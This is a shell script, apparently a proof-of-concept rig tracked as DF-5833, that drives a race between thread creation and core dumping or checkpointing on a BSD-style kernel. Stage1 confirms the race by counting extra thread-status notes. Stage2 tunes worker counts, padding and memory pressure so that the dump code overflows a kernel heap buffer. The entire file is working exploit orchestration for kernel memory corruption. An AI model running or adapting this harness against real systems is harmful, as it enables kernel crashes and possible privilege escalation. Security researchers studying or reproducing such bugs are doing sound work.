DF-5833 / controller.sh
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 | #!/bin/sh # controller.sh -- DF-5833 rig orchestration (runs ON the guest, nohup'd). # # usage: controller.sh <stage> <attempts> # stage1: K=2 workers, pad tuned large -> benign detection: # successful core with MORE NT_PRSTATUS notes than LWPs that # existed at DRYRUN time (proves in-window lwp_create insertion) # stage2: K=16 workers, pad tuned small -> putallnotes overflows the # reservation, elf_puttextvp vnh_max underflows (size_t), and # cb_put_fp writes vn_hdr records PAST the kmalloc'd core-header # buffer: kernel heap overflow. # DIR=/home/maxx/df5833 cd $DIR STAGE=${1:-stage1} ATT=${2:-1} K=2; RESTARGET=2300; CAP=300; MODE=run; FM=4; EXTRA=0; SLEEP=600 [ "$STAGE" = ckpt2 ] && SLEEP=200 [ "$STAGE" = stage2 ] && { K=16; CAP=400; } # ckpt stages: trigger via sys_checkpoint (no prelude -> DRYRUN is # immediate; the rig's memory-floor prelude-crawl artifact disappears) [ "$STAGE" = ckpt1 ] && { K=2; CAP=300; MODE=ckpt; FM=4; EXTRA=80; } [ "$STAGE" = ckpt2 ] && { K=16; CAP=460; MODE=ckpt; FM=0; EXTRA=80; } # ---- probe: measure header layout with K=0 ------------------------------- rm -f victim.core gate marker ready ./victim probe $SLEEP $FM > probe.log 2>&1 sleep 1 if [ ! -f victim.core ]; then echo "PROBE-FAIL no core" >&2 exit 1 fi PROBE=$(./parse_core victim.core) NOTE_OFF=$(echo "$PROBE" | sed -n 's/note_off=\([0-9]*\).*/\1/p') NOTE_SZ=$(echo "$PROBE" | sed -n 's/.*note_sz=\([0-9]*\).*/\1/p') NPR=$(echo "$PROBE" | sed -n 's/NT_PRSTATUS=\([0-9]*\).*/\1/p') if [ -z "$NOTE_OFF" ] || [ -z "$NOTE_SZ" ]; then echo "PROBE-PARSE-FAIL" >&2; exit 1 fi VN=$(dd if=victim.core bs=1 skip=$((NOTE_OFF+NOTE_SZ+96)) count=4 2>/dev/null | \ od -An -tu4 | tr -d ' ') C=$((VN*120)) OFF_END=$((NOTE_OFF + NOTE_SZ + 100 + C + 4320 + 40)) echo "probe: note_off=$NOTE_OFF note_sz=$NOTE_SZ prstatus=$NPR vn=$VN off_end=$OFF_END" BASE=$((OFF_END + K*800 + EXTRA)) NPAD=0; BEST=-1 n=0 while [ $n -le 511 ]; do R=$(( (BASE + 56*n) % 4096 )) OK=0 case "$STAGE" in stage1|ckpt1) [ $R -ge 300 ] && [ $R -le 2300 ] && OK=1 ;; *) [ $R -ge 4000 ] && [ $R -le 4094 ] && OK=1 ;; esac if [ $OK = 1 ]; then NPAD=$n; BEST=$R; break; fi n=$((n+1)) done if [ $BEST -lt 0 ]; then echo "PAD-TUNE-FAIL base_res=$((BASE%4096))" >&2; exit 1 fi echo "tune: K=$K n_pad=$NPAD residue=$BEST (stage=$STAGE)" rm -f victim.core # ---- attempt loop --------------------------------------------------------- a=0 while [ $a -lt $ATT ]; do a=$((a+1)) rm -f victim.core ckpt.img victim.log ready fifo marker go # fresh one-shot eater per attempt: eat to the floor, then it is # purely in drip-serving mode (select loop, no re-eat phase) mkfifo fifo ( ./eater $RESTARGET ready marker < fifo > eater.log 2>&1 ) & EATERPID=$! exec 9>fifo ./victim $MODE $SLEEP $K $NPAD $FM ready $CAP > victim.log 2>&1 & VICPID=$! # pre-fork the dripper NOW (before any memory pressure): it waits # for the "ready" file, then drives the drip sequence ./dripper ready fifo > dripper.log 2>&1 & DRIPPID=$! # victim sets up threads, then waits for "ready" i=0; while [ $i -lt 200 ]; do grep -q VICTIM-SETUP victim.log 2>/dev/null && break sleep 0.1; i=$((i+1)) done : > marker # unleash the eater (victim threads exist) # wait for the eater to reach the floor (first attempt ~60-90s) i=0; while [ $i -lt 1500 ]; do [ -f ready ] && break sleep 0.1; i=$((i+1)) done if [ ! -f ready ]; then echo "ATTEMPT $a: EATER-TIMEOUT" kill $VICPID $DRIPPID $EATERPID 2>/dev/null exec 9>&- sleep 2 continue fi # victim releases workers, drains 600ms, crashes; dripper fires at # ~+1.3s; wait out the whole sequence MARK=VICTIM-CRASH [ "$MODE" = ckpt ] && MARK=CKPT-RESULT i=0; while [ $i -lt 2400 ]; do grep -q $MARK victim.log 2>/dev/null && break kill -0 $VICPID 2>/dev/null || break sleep 0.05; i=$((i+1)) done WP=$(grep WORKERS-DRAINING victim.log | tail -1) echo "ATTEMPT $a: $WP" sleep 12 IMG=victim.core [ "$MODE" = ckpt ] && IMG=ckpt.img CORESZ=0; [ -f $IMG ] && CORESZ=$(stat -f %z $IMG) ALIVE=$(kill -0 $VICPID 2>/dev/null && echo yes || echo no) echo "ATTEMPT $a RESULT: img=$CORESZ victim_alive=$ALIVE" grep CKPT-RESULT victim.log | tail -1 dmesg | tail -4 > dmesg.$a.txt 2>/dev/null if [ "$ALIVE" = yes ]; then echo "ATTEMPT $a: victim still alive (dump stuck?) killing" kill -9 $VICPID 2>/dev/null sleep 2 fi if [ -f $IMG ] && [ $CORESZ -gt 0 ]; then ./parse_core $IMG > core.$a.txt 2>&1 NPR2=$(sed -n 's/NT_PRSTATUS=\([0-9]*\).*/\1/p' core.$a.txt) CH=$(echo "$WP" | sed -n 's/.*children=\([0-9]*\).*/\1/p') [ -z "$CH" ] && CH=0 EXP=$((SLEEP + 1 + K + CH)) echo "ATTEMPT $a: NT_PRSTATUS=$NPR2 expected=$EXP (race += $((${NPR2:-0}-EXP)))" else echo "ATTEMPT $a: NO CORE (dump failed or overflow path)" fi sleep 2 done pkill -9 -f './victim' 2>/dev/null pkill -9 -f './eater' 2>/dev/null pkill -9 dripper 2>/dev/null echo "CONTROLLER-DONE" |